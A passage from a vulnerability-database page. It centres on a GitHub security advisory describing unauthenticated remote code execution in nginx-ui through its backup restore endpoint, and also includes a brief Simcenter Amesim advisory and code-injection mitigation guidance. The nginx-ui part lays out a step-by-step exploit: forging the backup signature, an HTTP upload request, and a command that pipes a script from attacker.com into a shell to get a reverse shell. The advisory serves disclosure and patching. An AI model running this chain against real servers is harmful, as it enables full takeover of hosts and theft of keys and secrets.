]\n}\n```\n\n**2g.** Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as:\n\n```python\nimport hashlib, hmac\ncontext = b\"nginx-ui-backup-signing-v1:\"\nsigning_key = hashlib.sha256(context + aes_key).digest()\nsig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()\n```\n\n**2h.** Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`.\n\n### Step 3 \u2014 Upload the malicious backup (no authentication required)\n\n```http\nPOST /api/restore HTTP/1.1\nHost: target:9000\nContent-Type: multipart/form-data; boundary=----Boundary\n\n------Boundary\nContent-Disposition: form-data; name=\"backup_file\"; filename=\"evil.zip\"\nContent-Type: application/zip\n\n[crafted backup bytes]\n------Boundary\nContent-Disposition: form-data; name=\"security_token\"\n\n\u003cbase64(aes_key)\u003e:\u003cbase64(aes_iv)\u003e\n------Boundary\nContent-Disposition: form-data; name=\"restore_nginx_ui\"\n\ntrue\n------Boundary--\n```\n\nExpected response (HTTP 200):\n```json\n{\"nginx_ui_restored\": true, \"nginx_restored\": false, \"hash_match\": true}\n```\n\nnginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker\u0027s `app.ini`.\n\n### Step 4 \u2014 Trigger RCE using the restored node secret\n\nAfter the restart (wait ~3 seconds):\n\n```http\nPOST /api/nginx/test HTTP/1.1\nHost: target:9000\nX-Node-Secret: attacker_chosen_node_secret\n```\n\nnginx-ui executes:\n```sh\n/bin/sh -c \"curl http://attacker.com/shell.sh|sh\"\n```\n\nThe attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker).\n\n---\n\n## 5. Impact\n\n- **Confidentiality:** Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`.\n- **Integrity:** Arbitrary modification of all nginx configurations and nginx-ui application state.\n- **Availability:** Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.\n- **Scope:** OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.\n\n---\n\n## 6. Affected Versions\n\nAll versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST /api/restore`. The vulnerability is present in the current `dev` branch.\n\n---\n\n## 7. Recommended Fix\n\n**Primary fix** \u2014 Require authentication unconditionally on the restore endpoint. The \"allow restore during initial setup\" design rationale does not justify unauthenticated access to a file-write primitive:\n\n```go\n// api/backup/router.go\nfunc InitRouter(r *gin.RouterGroup) {\n    r.GET(\"/backup\", middleware.AuthRequired(), CreateBackup)\n    r.POST(\"/restore\", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\nIf restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.\n\n**Secondary fix** \u2014 Validate the content of restored `app.ini` before writing it to disk. Specifically, `TestConfigCmd`, `ReloadCmd`, and `RestartCmd` should be rejected or stripped from any externally-supplied backup.\n\n---\n\n## 8. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-21 | Vulnerability identified via source code review |\n| \u2014 | Vendor notification (pending) |\n| \u2014 | CVE assignment (pending) |\n\n### Citations\n\n**File:** router/routers.go (L61-70)\n```go\n\troot := r.Group(\"/api\", middleware.IPWhiteList())\n\t{\n\t\tpublic.InitRouter(root)\n\t\tcrypto.InitPublicRouter(root)\n\t\tuser.InitAuthRouter(root)\n\t\tlicense.InitRouter(root)\n\n\t\tsystem.InitPublicRouter(root)\n\t\tsystem.InitSelfCheckRouter(root)\n\t\tbackup.InitRouter(root)\n```\n\n**File:** api/backup/router.go (L9-16)\n```go\n// authIfInstalled requires auth if system is installed\nfunc authIfInstalled(ctx *gin.Context) {\n\tif system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {\n\t\tmiddleware.AuthRequired()(ctx)\n\t} else {\n\t\tctx.Next()\n\t}\n}\n```\n\n**File:** api/backup/router.go (L18-25)\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\t// Backup always requires authentication (contains sensitive data)\n\tr.GET(\"/backup\", middleware.AuthRequired(), CreateBackup)\n\n\t// Restore requires auth only after installation\n\t// This allows restoring backup during initial setup\n\tr.POST(\"/restore\", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\n**File:** api/system/install.go (L27-34)\n```go\nfunc InstallLockStatus() bool {\n\treturn settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != \"\"\n}\n\n// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded\nfunc IsInstallTimeoutExceeded() bool {\n\treturn time.Since(startupTime) \u003e 10*time.Minute\n}\n```\n\n**File:** internal/middleware/encrypted_params.go (L69-75)\n```go\n\t\t// Check if encrypted_params field exists\n\t\tencryptedParams := c.Request.FormValue(\"encrypted_params\")\n\t\tif encryptedParams == \"\" {\n\t\t\t// No encryption, continue normally\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n```\n\n**File:** api/backup/restore.go (L35-70)\n```go\n\tsecurityToken := c.PostForm(\"security_token\") // Get concatenated key and IV\n\t// Get backup file\n\tbackupFile, err := c.FormFile(\"backup_file\")\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))\n\t\treturn\n\t}\n\n\t// Validate security token\n\tif securityToken == \"\" {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\t// Split security token to get Key and IV\n\tparts := strings.Split(securityToken, \":\")\n\tif len(parts) != 2 {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\taesKey := parts[0]\n\taesIv := parts[1]\n\n\t// Decode Key and IV from base64\n\tkey, err := base64.StdEncoding.DecodeString(aesKey)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))\n\t\treturn\n\t}\n\n\tiv, err := base64.StdEncoding.DecodeString(aesIv)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))\n\t\treturn\n\t}\n```\n\n**File:** api/backup/restore.go (L126-132)\n```go\n\tif restoreNginxUI {\n\t\tgo func() {\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\t// gracefully restart\n\t\t\trisefront.Restart()\n\t\t}()\n\t}\n```\n\n**File:** internal/backup/manifest.go (L156-163)\n```go\nfunc deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {\n\tif len(aesKey) == 0 {\n\t\treturn nil, ErrInvalidAESKey\n\t}\n\n\tsum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))\n\treturn sum[:], nil\n}\n```\n\n**File:** internal/backup/restore.go (L458-484)\n```go\n// restoreNginxUIConfig restores nginx-ui configuration files\nfunc restoreNginxUIConfig(nginxUIBackupDir string) error {\n\t// Get config directory\n\tconfigDir := filepath.Dir(cosysettings.ConfPath)\n\tif configDir == \"\" {\n\t\treturn ErrConfigPathEmpty\n\t}\n\n\t// Restore app.ini to the configured location\n\tsrcConfigPath := filepath.Join(nginxUIBackupDir, \"app.ini\")\n\tif err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {\n\t\treturn err\n\t}\n\n\t// Restore database file if exists\n\tdbName := settings.DatabaseSettings.GetName()\n\tsrcDBPath := filepath.Join(nginxUIBackupDir, dbName+\".db\")\n\tdestDBPath := filepath.Join(configDir, dbName+\".db\")\n\n\t// Only attempt to copy if database file exists in backup\n\tif _, err := os.Stat(srcDBPath); err == nil {\n\t\tif err := copyFile(srcDBPath, destDBPath); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n```\n\n**File:** internal/nginx/nginx.go (L25-36)\n```go\nfunc TestConfig() (stdOut string, stdErr error) {\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\treturn execShell(settings.NginxSettings.TestConfigCmd)\n\t}\n\tsbin := GetSbinPath()\n\tif sbin == \"\" {\n\t\treturn execCommand(\"nginx\", \"-t\")\n\t}\n\treturn execCommand(sbin, \"-t\")\n}\n```\n\n**File:** internal/nginx/exec.go (L12-28)\n```go\nfunc execShell(cmd string) (stdOut string, stdErr error) {\n\tvar execCmd *exec.Cmd\n\n\tif runtime.GOOS == \"windows\" {\n\t\texecCmd = exec.Command(\"cmd\", \"/c\", cmd)\n\t} else {\n\t\texecCmd = exec.Command(\"/bin/sh\", \"-c\", cmd)\n\t}\n\n\texecCmd.Dir = GetNginxExeDir()\n\tbytes, err := execCmd.CombinedOutput()\n\tstdOut = string(bytes)\n\tif err != nil {\n\t\tstdErr = err\n\t}\n\treturn\n}\n```",
  "id": "GHSA-4pvg-prr3-9cxr",
  "modified": "2026-05-06T17:03:44Z",
  "published": "2026-05-06T17:03:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-4pvg-prr3-9cxr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42238"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore"
}

GHSA-4PW7-C6VM-5QXC

Vulnerability from github – Published: 2023-10-10 12:32 – Updated: 2024-04-04 08:28
VLAI
Details

A vulnerability has been identified in Simcenter Amesim (All versions < V2021.1). The affected application contains a SOAP endpoint that could allow an unauthenticated remote attacker to perform DLL injection and execute arbitrary code in the context of the affected application process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-43625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-10T11:15:12Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability has been identified in Simcenter Amesim (All versions \u003c V2021.1). The affected application contains a SOAP endpoint that could allow an unauthenticated remote attacker to perform DLL injection and execute arbitrary code in the context of the affected application process.",
  "id": "GHSA-4pw7-c6vm-5qxc",
  "modified": "2024-04-04T08:28:06Z",
  "published": "2023-10-10T12:32:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43625"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-386812.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.